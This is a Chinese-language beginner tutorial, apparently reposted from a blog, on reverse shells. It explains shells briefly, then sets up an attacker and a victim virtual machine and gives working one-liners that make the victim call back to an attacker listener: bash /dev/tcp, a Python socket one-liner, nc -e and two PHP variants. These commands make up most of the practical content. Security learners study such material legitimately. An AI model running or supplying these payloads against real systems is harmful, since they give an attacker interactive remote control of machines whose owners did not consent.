反弹shell基础篇

名词解释

Shell:是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务,它是用户使用 Linux 的桥梁。

作用:Shell 除了能解释用户输入的命令,将它传递给内核,还可以:
1、调用其他程序,给其他程序传递数据或参数,并获取程序的处理结果;
2、在多个程序之间传递数据,把一个程序的输出作为另一个程序的输入;
3、Shell 本身也可以被其他程序调用。
由此可见,Shell 是将内核、程序和用户连接了起来。

常见Shell类型:sh、bash、csh、tcsh、ash 等。

进入今天的正题

反弹Shell:简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。

反弹Shell实验

环境:(需关闭两台系统的防火墙)
攻击端   CentOS   192.168.175.128 
受害端   Red Hat   192.168.175.129 
方法1:使用Linux命令反弹Shell
攻击端使用nc监听一个端口:nc -lvp port

受害端执行生成一个反弹Shell:bash -i >& /dev/tcp/ip/port 0>&1

 执行完命令之后再回到攻击端CentOS机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了。

 方法2:使用Python命令反弹Shell

攻击端使用nc监听一个端口:nc -lvp port

受害端执行生成一个反弹Shell:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

执行完命令之后再回到攻击端CentOS机器上面查看,可以看到shell成功反弹,这时候我们就能对服务器进行远程操控了。

方法3:使用nc命令反弹Shell

攻击端使用nc监听一个端口:nc -lvp port

受害端执行生成一个反弹Shell:nc -e /bin/bash ip port

执行完命令之后再回到攻击端CentOS机器上面查看,发现没有反弹回Shell。这里先留个坑。。。。。。

方法4:使用php函数命令反弹Shell,具体操作方法同上。(因未安装php环境,暂不做演示)

1).使用phpexec函数执行方法1反弹shell的命令

php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");'

2).使用phpfsockopen去连接远程

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

 
 
 
 

猜你喜欢

转载自www.cnblogs.com/cainiaorukengji/p/13188225.html
今日推荐